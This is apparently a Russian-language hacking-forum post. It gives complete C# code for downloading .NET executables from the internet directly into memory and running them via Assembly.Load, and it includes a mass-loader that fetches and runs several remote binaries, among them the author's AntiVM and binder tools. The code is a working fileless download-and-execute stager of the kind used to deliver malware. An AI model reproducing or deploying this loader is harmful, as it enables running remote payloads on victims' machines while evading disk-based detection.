r3xq1
Проверенный
Проверенный
r3xq1
Проверенный
Проверенный
- Сообщения
- 53
- Реакции
- 29
Сейчас я покажу наглядный пример как средствами C# можно загрузить данные в память и вызвать из памяти что-то, на примере я скачаю файл из интернета прямо в память и запущу его из памяти.
Создадим класс который позволит загружать данные из памяти:
Создадим метод для загрузки файла и запуск из памяти:
Вызов в Main
P.S: Загружает только файлы на базе .Net Framework.
Если хотите массово загрузить в память то используйте такой подход:
Вот и всё!)
Создадим класс который позволит загружать данные из памяти:
C#:
namespace ExeToMemory
{
using System;
using System.Reflection;
using System.Threading;
public static class MemoryUtils
{
public static Thread RunFromMemory(byte[] bytes)
{
var thread = new Thread(new ThreadStart(() =>
{
try
{
var assembly = Assembly.Load(bytes);
MethodInfo method = assembly?.EntryPoint;
method?.Invoke(null, null);
}
catch (BadImageFormatException) { Console.WriteLine("Native application not support"); }
}));
thread?.SetApartmentState(ApartmentState.STA);
thread?.Start();
return thread;
}
}
}
C#:
namespace ExeToMemory
{
using System;
using System.IO;
using System.Net;
public static class Loader
{
public static void Inizialize(string url)
{
var Link = new Uri(url);
using (var client = new WebClient())
{
Console.WriteLine("Загружаем файл...");
byte[] data = client.DownloadData(Link);
Console.WriteLine("Файл загружен");
if (data != null)
{
Console.WriteLine("Загружаем файл в память");
using (var mem = new MemoryStream(data))
{
byte[] bytes = mem?.ToArray();
Console.WriteLine("Запуск файла из памяти.");
MemoryUtils.RunFromMemory(bytes).Join();
}
}
}
}
}
}
C#:
namespace ExeToMemory
{
using System;
internal static class Program
{
[STAThread]
public static void Main()
{
Console.Title = "Execute Download File From Memory by r3xq1";
Loader.Inizialize("https://raw.githubusercontent.com/r3xq1/AntiVM/master/AntiVM/bin/Release/AntiVM.exe");
Console.ReadKey();
}
}
}
Если хотите массово загрузить в память то используйте такой подход:
C#:
namespace ExeToMemory
{
using System;
using System.IO;
using System.Net;
public static class Loader
{
public static void Init()
{
byte[] data = DownloadFile("https://raw.githubusercontent.com/r3xq1/AntiVM/master/AntiVM/bin/Release/AntiVM.exe");
using (var mem = new MemoryStream(data))
{
byte[] bytes = mem?.ToArray();
MemoryUtils.RunFromMemory(bytes).Join();
}
}
public static void MassInit()
{
string[] binary = new string[2]
{
"https://raw.githubusercontent.com/r3xq1/AntiVM/master/AntiVM/bin/Release/AntiVM.exe",
"https://raw.githubusercontent.com/r3xq1/R3BinderNSIS/master/bin/Release/R3BinderTools.exe",
};
foreach (string list in binary)
{
byte[] data = DownloadFile(list);
using (var mem = new MemoryStream(data))
{
byte[] bytes = mem?.ToArray();
MemoryUtils.RunFromMemory(bytes); // .Join() - для ожидания
}
}
}
private static byte[] DownloadFile(string url)
{
byte[] result = null;
if (string.IsNullOrWhiteSpace(url)) return result;
try
{
var Link = new Uri(url);
using (var webClient = new WebClient())
{
result = webClient.DownloadData(Link);
}
}
catch (WebException) { Console.WriteLine("Not Internet Connected"); }
return result;
}
}
}